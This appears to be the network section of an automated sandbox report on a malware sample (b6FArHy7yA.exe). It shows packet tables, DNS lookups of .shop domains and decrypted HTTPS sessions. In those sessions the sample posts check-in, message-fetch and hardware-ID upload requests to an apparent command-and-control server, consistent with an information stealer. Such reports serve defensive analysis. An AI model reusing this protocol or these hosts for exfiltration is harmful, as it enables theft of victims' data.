Dec 5, 2024 15:05:51.088476896 CET	443	49998	104.121.10.34	192.168.2.6
Dec 5, 2024 15:05:51.089268923 CET	49999	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:05:51.209125996 CET	1466	49999	217.144.184.19	192.168.2.6
Dec 5, 2024 15:05:51.209240913 CET	49999	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:05:51.209693909 CET	49999	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:05:51.329461098 CET	1466	49999	217.144.184.19	192.168.2.6
Dec 5, 2024 15:05:55.637445927 CET	1466	49999	217.144.184.19	192.168.2.6
Dec 5, 2024 15:05:55.639931917 CET	49999	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:05:55.639997959 CET	49999	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:05:55.759804964 CET	1466	49999	217.144.184.19	192.168.2.6
Dec 5, 2024 15:06:55.653096914 CET	50001	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:06:55.773009062 CET	1466	50001	217.144.184.19	192.168.2.6
Dec 5, 2024 15:06:55.773097038 CET	50001	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:06:55.773900986 CET	50001	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:06:55.893563986 CET	1466	50001	217.144.184.19	192.168.2.6
Dec 5, 2024 15:06:57.197989941 CET	1466	50001	217.144.184.19	192.168.2.6
Dec 5, 2024 15:06:57.198052883 CET	50001	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:06:57.198271036 CET	50001	1466	192.168.2.6	217.144.184.19
Dec 5, 2024 15:06:57.317985058 CET	1466	50001	217.144.184.19	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 15:03:11.257613897 CET	65196	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:03:11.556905031 CET	53	65196	1.1.1.1	192.168.2.6
Dec 5, 2024 15:04:01.163113117 CET	58232	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:04:01.548881054 CET	53	58232	1.1.1.1	192.168.2.6
Dec 5, 2024 15:04:07.524775028 CET	57113	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:04:08.537060976 CET	57113	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:04:09.552038908 CET	57113	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:04:10.184439898 CET	53	57113	1.1.1.1	192.168.2.6
Dec 5, 2024 15:04:10.184482098 CET	53	57113	1.1.1.1	192.168.2.6
Dec 5, 2024 15:04:10.184492111 CET	53	57113	1.1.1.1	192.168.2.6
Dec 5, 2024 15:04:12.733954906 CET	51421	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:04:13.191906929 CET	53	51421	1.1.1.1	192.168.2.6
Dec 5, 2024 15:04:21.568629026 CET	52322	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:04:21.707196951 CET	53	52322	1.1.1.1	192.168.2.6
Dec 5, 2024 15:05:48.384238958 CET	61320	53	192.168.2.6	1.1.1.1
Dec 5, 2024 15:05:48.522089958 CET	53	61320	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 15:03:11.257613897 CET	192.168.2.6	1.1.1.1	0x7c08	Standard query (0)	c3.digital-odyssey.shop	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:01.163113117 CET	192.168.2.6	1.1.1.1	0x3b86	Standard query (0)	klipdajemua0.shop	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:07.524775028 CET	192.168.2.6	1.1.1.1	0x5965	Standard query (0)	www.360.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:08.537060976 CET	192.168.2.6	1.1.1.1	0x5965	Standard query (0)	www.360.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:09.552038908 CET	192.168.2.6	1.1.1.1	0x5965	Standard query (0)	www.360.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:12.733954906 CET	192.168.2.6	1.1.1.1	0x1b2a	Standard query (0)	360.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:21.568629026 CET	192.168.2.6	1.1.1.1	0x3e59	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:05:48.384238958 CET	192.168.2.6	1.1.1.1	0xc794	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 15:03:11.556905031 CET	1.1.1.1	192.168.2.6	0x7c08	No error (0)	c3.digital-odyssey.shop		104.21.8.82	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:03:11.556905031 CET	1.1.1.1	192.168.2.6	0x7c08	No error (0)	c3.digital-odyssey.shop		172.67.130.98	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:01.548881054 CET	1.1.1.1	192.168.2.6	0x3b86	No error (0)	klipdajemua0.shop		104.21.71.43	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:01.548881054 CET	1.1.1.1	192.168.2.6	0x3b86	No error (0)	klipdajemua0.shop		172.67.143.25	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:10.184439898 CET	1.1.1.1	192.168.2.6	0x5965	No error (0)	www.360.net		180.163.242.102	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:10.184482098 CET	1.1.1.1	192.168.2.6	0x5965	No error (0)	www.360.net		180.163.242.102	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:10.184492111 CET	1.1.1.1	192.168.2.6	0x5965	No error (0)	www.360.net		180.163.242.102	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:13.191906929 CET	1.1.1.1	192.168.2.6	0x1b2a	No error (0)	360.net		180.163.242.102	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:21.707196951 CET	1.1.1.1	192.168.2.6	0x3e59	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 15:04:21.707196951 CET	1.1.1.1	192.168.2.6	0x3e59	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 15:04:21.707196951 CET	1.1.1.1	192.168.2.6	0x3e59	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:04:21.707196951 CET	1.1.1.1	192.168.2.6	0x3e59	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Dec 5, 2024 15:05:48.522089958 CET	1.1.1.1	192.168.2.6	0xc794	No error (0)	steamcommunity.com		104.121.10.34	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

c3.digital-odyssey.shop

klipdajemua0.shop

www.360.net

www.baidu.com

steamcommunity.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49719	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:12 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: c3.digital-odyssey.shop
2024-12-05 14:03:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-05 14:03:16 UTC	1036	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fkmfgd9ah3aolp9bdiso42a3jd; expires=Mon, 31-Mar-2025 07:49:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bEYVdHUT3ohm%2Fs7Zzjcx%2FP8I21acwPhSgqzyGhldjBZALXUvmbvdZ%2F%2FYcpRH1bJ2jTLbP8bJSxB0fQhrbiSOQutrwhhbg%2F%2BabPBSp1wc2Rsst8c7qG3gbInhHsInZk%2Bmb%2FOxdpZDBvjFqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed4940ecf425e6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1690&rtt_var=650&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=914&delivery_rate=1663817&cwnd=246&unsent_bytes=0&cid=f5366ed4acf1d985&ts=3364&x=0"
2024-12-05 14:03:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-05 14:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49734	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:17 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: c3.digital-odyssey.shop
2024-12-05 14:03:17 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 62 39 64 6b 51 2d 2d 50 75 61 72 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=Lb9dkQ--Puaro&j=
2024-12-05 14:03:23 UTC	1028	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:03:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pidje79alscbshek50ki5vq10d; expires=Mon, 31-Mar-2025 07:49:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k6vLaUCTdDzywGgoHtKaGr4%2F79rYje8NGc8n%2F9u%2Bju0hH8LPGgt5DBEhgWZj71U56AAtMdv%2BBMdb3c43vWOn6eweEjZCd42fs0NCJzxUA93OxvwLGkul2PxmVB0NfR3C2I5hGcpkD7wV1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed4942dc86d0caa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&min_rtt=1622&rtt_var=632&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=954&delivery_rate=1697674&cwnd=239&unsent_bytes=0&cid=cf1bd2dab6fa107a&ts=5909&x=0"
2024-12-05 14:03:23 UTC	341	IN	Data Raw: 34 34 64 63 0d 0a 7a 58 78 63 6e 75 78 72 43 69 32 4d 63 75 6b 31 66 2b 76 44 54 59 4e 72 77 6e 30 39 43 65 78 73 47 64 30 65 52 76 34 42 63 37 65 32 58 69 71 38 31 6c 38 6d 44 2f 38 58 79 77 38 4c 6d 62 59 6f 72 30 6d 6a 47 52 38 7a 69 67 31 31 72 6e 74 71 33 48 63 65 6c 66 63 61 50 66 4b 66 44 69 59 50 36 51 72 4c 44 79 53 51 34 53 6a 74 53 66 68 66 57 47 4f 4f 44 58 57 2f 66 79 32 52 63 52 2f 55 70 52 41 37 39 6f 6b 49 62 6b 7a 67 48 34 78 51 47 6f 71 70 49 2b 6f 47 71 68 41 66 4a 63 34 4a 59 2f 38 6b 5a 4c 4e 6b 42 39 61 41 48 53 2f 31 7a 68 59 6d 56 71 34 58 68 78 64 46 79 61 49 6f 34 51 65 6b 47 56 5a 68 68 41 52 39 76 6e 6f 73 6a 6d 67 56 33 36 55 65 4f 50 65 44 41 58 70 42 36 68 69 48 56 68 43 4b 34 57 47 68 44 72 68 66 42 79 76 64 50 48 69 75 62 Data Ascii: 44dczXxcnuxrCi2Mcuk1f+vDTYNrwn09CexsGd0eRv4Bc7e2Xiq81l8mD/8Xyw8LmbYor0mjGR8zig11rntq3HcelfcaPfKfDiYP6QrLDySQ4SjtSfhfWGOODXW/fy2RcR/UpRA79okIbkzgH4xQGoqpI+oGqhAfJc4JY/8kZLNkB9aAHS/1zhYmVq4XhxdFyaIo4QekGVZhhAR9vnosjmgV36UeOPeDAXpB6hiHVhCK4WGhDrhfByvdPHiub
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 39 33 47 51 64 6c 66 64 65 4f 50 4b 50 42 47 68 64 35 68 75 41 55 67 2b 43 71 43 4c 73 43 61 30 56 55 47 69 4f 43 58 47 31 63 79 36 59 62 68 7a 54 72 78 35 2b 73 73 34 4f 63 41 2b 32 55 4b 68 53 44 59 36 74 4f 61 4d 7a 34 41 41 52 63 73 34 4a 64 2f 38 6b 5a 4a 52 6d 45 74 61 6b 45 54 33 30 68 52 74 6f 58 65 67 64 6a 6b 55 62 6a 4b 38 6c 34 68 75 71 45 56 6c 6f 68 77 56 79 75 6e 73 67 33 43 31 52 30 72 64 65 5a 72 79 76 42 47 4e 44 35 41 65 4c 46 77 4c 48 75 47 2f 6d 42 65 42 48 48 32 2b 50 43 6e 71 37 63 69 71 59 62 78 66 62 6f 68 45 34 39 6f 34 4f 59 6b 66 6d 45 59 5a 63 45 6f 6d 6b 49 75 55 50 72 42 35 61 4b 38 42 4f 66 4b 63 38 66 4e 78 4e 46 74 61 39 58 41 76 2f 67 41 64 76 57 61 34 50 78 55 35 64 6a 71 31 76 75 55 6d 75 47 6c 42 35 6a 78 78 2b 73 57 Data Ascii: 93GQdlfdeOPKPBGhd5huAUg+CqCLsCa0VUGiOCXG1cy6YbhzTrx5+ss4OcA+2UKhSDY6tOaMz4AARcs4Jd/8kZJRmEtakET30hRtoXegdjkUbjK8l4huqEVlohwVyunsg3C1R0rdeZryvBGND5AeLFwLHuG/mBeBHH2+PCnq7ciqYbxfbohE49o4OYkfmEYZcEomkIuUPrB5aK8BOfKc8fNxNFta9XAv/gAdvWa4PxU5djq1vuUmuGlB5jxx+sW
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 49 4d 4b 6b 58 41 76 2f 67 41 64 76 57 61 34 50 78 55 35 64 6a 71 31 76 75 55 6d 74 46 31 70 75 67 51 39 78 73 58 6b 75 6b 47 73 66 31 72 30 52 4f 76 79 43 41 57 4a 43 34 42 53 44 58 68 61 43 70 79 2f 67 41 2b 42 52 48 32 79 57 54 69 50 2f 53 43 4f 51 62 68 36 58 6d 68 30 77 38 6f 6b 66 4b 46 43 67 43 63 74 51 45 63 6e 35 62 2b 30 41 6f 42 52 56 62 34 34 4a 64 72 70 2f 49 35 39 75 46 74 2b 68 47 54 72 77 68 77 52 75 54 2b 6b 55 6a 6b 55 59 67 4b 30 6a 6f 55 66 67 47 45 63 72 31 6b 35 55 75 47 6f 6e 73 32 41 41 33 4f 38 42 63 4f 58 4f 44 6d 51 50 74 6c 43 4d 55 68 57 43 70 79 66 68 47 36 55 52 56 47 71 45 43 48 71 79 63 43 4b 63 59 68 48 54 6f 78 34 35 2b 35 77 62 62 55 6e 38 47 73 73 5a 58 59 36 35 62 37 6c 4a 6c 67 39 49 65 70 68 4d 54 72 78 79 4b 70 74 Data Ascii: IMKkXAv/gAdvWa4PxU5djq1vuUmtF1pugQ9xsXkukGsf1r0ROvyCAWJC4BSDXhaCpy/gA+BRH2yWTiP/SCOQbh6Xmh0w8okfKFCgCctQEcn5b+0AoBRVb44Jdrp/I59uFt+hGTrwhwRuT+kUjkUYgK0joUfgGEcr1k5UuGons2AA3O8BcOXODmQPtlCMUhWCpyfhG6URVGqECHqycCKcYhHTox45+5wbbUn8GssZXY65b7lJlg9IephMTrxyKpt
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 52 67 34 38 59 73 47 59 6c 33 6d 48 6f 5a 63 45 6f 4b 7a 4c 2b 77 4e 72 42 74 58 59 49 52 4f 4e 66 39 37 50 4e 77 37 55 65 43 69 45 54 37 2f 6d 45 6c 33 41 66 64 51 6a 46 74 64 30 65 45 6a 37 77 6d 76 45 31 4e 67 68 67 39 33 73 58 73 68 6c 57 73 5a 78 36 34 61 4e 76 32 41 42 6d 6c 4c 36 78 57 50 55 42 6d 50 72 6d 2b 76 53 61 63 48 48 7a 50 4f 49 56 79 4b 50 67 57 6d 49 77 36 62 74 6c 34 35 38 4d 35 52 4b 45 50 74 48 49 4e 59 47 34 43 74 4a 65 67 43 72 42 52 62 5a 34 63 4c 66 62 35 35 49 5a 31 6e 48 64 2b 70 48 54 33 7a 67 51 5a 67 44 36 42 51 6a 45 39 64 30 65 45 4b 39 67 4b 75 47 52 39 30 77 42 63 37 75 48 42 6b 78 43 4d 64 33 4b 6b 59 4f 2f 43 50 44 32 42 4b 35 68 53 4b 55 52 75 4b 72 69 76 6b 43 4b 38 62 55 32 57 45 44 33 71 7a 64 79 75 58 5a 6c 47 62 Data Ascii: Rg48YsGYl3mHoZcEoKzL+wNrBtXYIRONf97PNw7UeCiET7/mEl3AfdQjFtd0eEj7wmvE1Nghg93sXshlWsZx64aNv2ABmlL6xWPUBmPrm+vSacHHzPOIVyKPgWmIw6btl458M5RKEPtHINYG4CtJegCrBRbZ4cLfb55IZ1nHd+pHT3zgQZgD6BQjE9d0eEK9gKuGR90wBc7uHBkxCMd3KkYO/CPD2BK5hSKURuKrivkCK8bU2WED3qzdyuXZlGb
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 4f 49 43 47 31 46 34 68 65 4f 58 42 4b 46 34 57 47 68 44 72 68 66 42 79 75 67 42 57 69 6f 66 79 71 58 64 51 71 56 73 46 41 6e 76 49 6b 46 4b 42 65 75 45 34 42 63 47 59 6d 74 4c 2b 55 45 6f 41 31 51 62 49 6b 48 63 4b 31 32 49 35 74 6f 47 64 36 67 47 43 7a 77 67 42 74 74 58 66 78 51 78 52 63 61 6b 65 46 33 6f 54 2b 6e 44 30 39 6f 7a 44 39 74 76 47 6f 76 6b 57 39 52 79 75 45 48 66 76 75 43 53 54 41 50 36 42 2b 43 56 42 4b 49 71 43 50 73 44 4b 6b 61 58 6d 32 4b 42 48 47 2f 65 69 4b 64 5a 68 76 57 72 68 51 33 2b 34 59 4f 61 31 32 75 58 73 74 51 42 63 6e 35 62 38 67 4f 73 68 46 50 4b 35 46 41 59 76 39 37 4b 4e 77 37 55 64 47 6c 45 54 72 37 67 67 39 74 53 65 4d 52 68 46 59 64 68 71 55 6b 36 41 2b 68 45 6c 70 6d 69 68 78 78 74 48 4d 6f 6c 57 38 63 6c 65 46 65 4f Data Ascii: OICG1F4heOXBKF4WGhDrhfByugBWiofyqXdQqVsFAnvIkFKBeuE4BcGYmtL+UEoA1QbIkHcK12I5toGd6gGCzwgBttXfxQxRcakeF3oT+nD09ozD9tvGovkW9RyuEHfvuCSTAP6B+CVBKIqCPsDKkaXm2KBHG/eiKdZhvWrhQ3+4YOa12uXstQBcn5b8gOshFPK5FAYv97KNw7UdGlETr7gg9tSeMRhFYdhqUk6A+hElpmihxxtHMolW8cleFeO
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 36 54 75 67 43 69 31 6f 58 6d 36 73 6b 35 41 53 74 45 6c 78 74 69 41 56 33 72 58 55 6b 6e 32 68 52 6d 2b 38 5a 4a 72 7a 57 53 55 74 59 2b 42 71 4d 57 77 75 43 6f 43 7a 33 42 4c 42 66 45 53 75 66 43 57 72 2f 4a 44 4b 4d 64 42 62 4b 34 51 64 2b 2b 34 4a 4a 4d 41 2f 6f 47 59 31 51 47 34 65 7a 4b 75 63 47 72 78 5a 57 62 34 59 4e 65 37 74 34 49 35 6c 67 48 64 36 6f 48 54 48 34 68 77 64 68 51 4b 35 65 79 31 41 46 79 66 6c 76 77 42 4b 6a 45 31 49 72 6b 55 42 69 2f 33 73 6f 33 44 74 52 32 61 45 62 50 76 61 49 44 57 31 4a 35 42 57 4c 58 42 36 47 70 53 6e 6c 42 71 41 55 56 6d 71 49 43 33 47 30 65 69 6d 66 5a 52 65 56 34 56 34 35 35 4d 35 52 4b 47 2f 31 48 59 64 51 58 5a 62 76 4e 71 45 4f 72 46 38 48 4b 34 55 43 66 37 68 38 4b 5a 39 72 46 4e 47 6c 47 7a 37 30 6e 41 Data Ascii: 6TugCi1oXm6sk5AStElxtiAV3rXUkn2hRm+8ZJrzWSUtY+BqMWwuCoCz3BLBfESufCWr/JDKMdBbK4Qd++4JJMA/oGY1QG4ezKucGrxZWb4YNe7t4I5lgHd6oHTH4hwdhQK5ey1AFyflvwBKjE1IrkUBi/3so3DtR2aEbPvaIDW1J5BWLXB6GpSnlBqAUVmqIC3G0eimfZReV4V455M5RKG/1HYdQXZbvNqEOrF8HK4UCf7h8KZ9rFNGlGz70nA
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 58 73 74 51 43 38 6e 35 62 39 39 4a 73 68 78 50 61 49 45 66 52 66 38 6b 50 61 49 6a 47 73 4f 6f 44 6a 33 71 68 51 52 6b 58 74 42 51 30 77 4e 50 32 2f 4e 39 73 78 62 67 41 47 41 6c 7a 67 38 37 35 30 55 39 33 48 56 52 6a 66 31 51 66 75 37 4f 55 53 67 49 37 51 4b 5a 55 52 36 66 6f 6d 6a 66 4e 34 63 4a 56 57 79 65 43 57 79 77 50 47 72 63 62 46 47 4e 6c 6c 34 33 2b 35 55 59 66 6b 4c 2b 46 38 74 6f 55 38 6d 35 62 37 6c 4a 6c 52 78 52 5a 59 6b 59 61 76 4a 62 4d 70 5a 6b 41 64 4b 34 45 58 36 79 7a 67 38 6f 46 37 31 65 79 31 4d 4d 79 66 6c 2f 73 31 4c 31 54 41 67 37 33 42 45 31 70 6a 77 79 33 44 74 44 6d 2b 38 4d 66 71 54 4f 54 6d 74 64 2f 42 61 49 51 52 37 4f 6e 78 48 47 45 36 30 5a 53 48 71 77 4d 48 79 6c 63 53 4b 4c 63 6c 33 41 72 42 41 77 2b 35 68 4a 4a 67 2f Data Ascii: XstQC8n5b99JshxPaIEfRf8kPaIjGsOoDj3qhQRkXtBQ0wNP2/N9sxbgAGAlzg8750U93HVRjf1Qfu7OUSgI7QKZUR6fomjfN4cJVWyeCWywPGrcbFGNll43+5UYfkL+F8toU8m5b7lJlRxRZYkYavJbMpZkAdK4EX6yzg8oF71ey1MMyfl/s1L1TAg73BE1pjwy3DtDm+8MfqTOTmtd/BaIQR7OnxHGE60ZSHqwMHylcSKLcl3ArBAw+5hJJg/
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 31 50 4a 70 54 36 68 55 66 42 4e 42 44 37 64 57 53 76 74 59 32 71 46 49 77 65 56 39 30 78 77 76 4a 78 4a 4d 41 2b 70 45 35 6c 46 47 34 71 33 4c 4b 59 33 6e 6a 68 52 62 49 38 59 61 36 68 7a 47 71 4a 32 45 74 75 68 47 53 6a 74 7a 6b 63 6f 51 4b 35 49 73 68 64 56 79 5a 35 68 6f 52 48 67 52 78 39 65 6a 51 42 31 75 47 6f 31 30 55 51 66 30 71 34 49 4c 75 75 42 53 53 59 50 36 46 44 54 42 56 50 4a 70 54 36 68 55 66 42 4e 42 44 37 64 57 53 76 74 59 32 71 46 49 77 65 56 39 30 78 77 76 4a 78 4a 4d 41 2b 70 45 35 6c 46 47 34 71 33 4c 4b 59 33 6e 6a 68 52 62 49 38 59 61 36 68 7a 61 37 4a 56 4d 4f 75 52 43 7a 33 79 67 41 35 2b 58 71 35 65 79 31 68 64 30 5a 68 76 71 55 6d 66 55 52 39 7a 7a 6c 59 37 69 6e 38 71 6b 6d 51 48 78 4f 49 35 4d 50 75 50 48 33 68 59 34 56 2b 6c Data Ascii: 1PJpT6hUfBNBD7dWSvtY2qFIweV90xwvJxJMA+pE5lFG4q3LKY3njhRbI8Ya6hzGqJ2EtuhGSjtzkcoQK5IshdVyZ5hoRHgRx9ejQB1uGo10UQf0q4ILuuBSSYP6FDTBVPJpT6hUfBNBD7dWSvtY2qFIweV90xwvJxJMA+pE5lFG4q3LKY3njhRbI8Ya6hza7JVMOuRCz3ygA5+Xq5ey1hd0ZhvqUmfUR9zzlY7in8qkmQHxOI5MPuPH3hY4V+l
2024-12-05 14:03:23 UTC	1369	IN	Data Raw: 77 72 39 78 79 6a 44 31 68 56 73 43 4e 70 75 47 77 6e 33 6c 49 48 31 71 38 51 4f 62 7a 41 53 58 41 50 74 6c 43 6d 52 52 71 5a 6f 6d 2b 76 53 61 78 66 42 79 75 44 48 48 79 76 66 32 69 62 65 52 61 56 73 46 41 6e 76 4a 68 4a 4d 42 79 67 55 4a 6b 58 52 63 6e 6d 49 65 77 49 6f 78 46 63 65 5a 77 49 65 4b 6c 2f 59 36 4a 64 50 4d 65 6f 44 6a 32 2b 76 77 52 73 57 66 73 54 6d 31 41 6a 74 34 77 39 35 68 6d 6a 58 58 4e 73 67 77 4a 46 67 55 73 31 6d 33 4e 54 38 36 77 49 50 62 7a 41 53 58 41 50 74 6c 43 6d 52 52 71 5a 6f 6d 33 4e 44 71 30 54 48 33 54 41 46 7a 75 70 50 48 7a 50 4c 56 48 48 37 30 5a 2b 75 34 30 62 65 6b 6e 74 42 6f 67 51 49 37 65 4d 50 65 59 5a 6f 31 31 75 5a 6f 6f 59 62 72 78 73 49 36 4a 64 50 4d 65 6f 44 6a 32 2b 71 7a 4d 71 66 76 67 54 69 31 6b 61 79 Data Ascii: wr9xyjD1hVsCNpuGwn3lIH1q8QObzASXAPtlCmRRqZom+vSaxfByuDHHyvf2ibeRaVsFAnvJhJMBygUJkXRcnmIewIoxFceZwIeKl/Y6JdPMeoDj2+vwRsWfsTm1Ajt4w95hmjXXNsgwJFgUs1m3NT86wIPbzASXAPtlCmRRqZom3NDq0TH3TAFzupPHzPLVHH70Z+u40bekntBogQI7eMPeYZo11uZooYbrxsI6JdPMeoDj2+qzMqfvgTi1kay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49752	104.21.8.82	443	6936	C:\Users\user\Desktop\b6FArHy7yA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 14:03:25 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BSIDKV46F6YLJEL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12841 Host: c3.digital-odyssey.shop
2024-12-05 14:03:25 UTC	12841	OUT	Data Raw: 2d 2d 42 53 49 44 4b 56 34 36 46 36 59 4c 4a 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 43 43 39 38 30 32 31 33 31 30 44 39 32 32 36 46 35 36 44 33 43 32 43 45 41 37 32 45 43 41 0d 0a 2d 2d 42 53 49 44 4b 56 34 36 46 36 59 4c 4a 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 53 49 44 4b 56 34 36 46 36 59 4c 4a 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 62 39 64 6b 51 2d 2d 50 75 61 72 6f 0d 0a 2d 2d 42 53 49 44 4b Data Ascii: --BSIDKV46F6YLJELContent-Disposition: form-data; name="hwid"EECC98021310D9226F56D3C2CEA72ECA--BSIDKV46F6YLJELContent-Disposition: form-data; name="pid"2--BSIDKV46F6YLJELContent-Disposition: form-data; name="lid"Lb9dkQ--Puaro--BSIDK
2024-12-05 14:03:30 UTC	1033	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 14:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mrheubhu68cp58dupcokt69rk5; expires=Mon, 31-Mar-2025 07:50:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BprgWoL8pgKh7zdaT1%2FSQUiDHHPBI7L%2FlH%2FKzM3wtZb2S0pXA6M%2B7tEj8K3UjuDyQbhIFZfzVRhjvfuZgUhAwBnAaHJECY6osxi4C64wYp73s1wnzZxNisWJphvhylDPeXkFftzH4TFZSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: 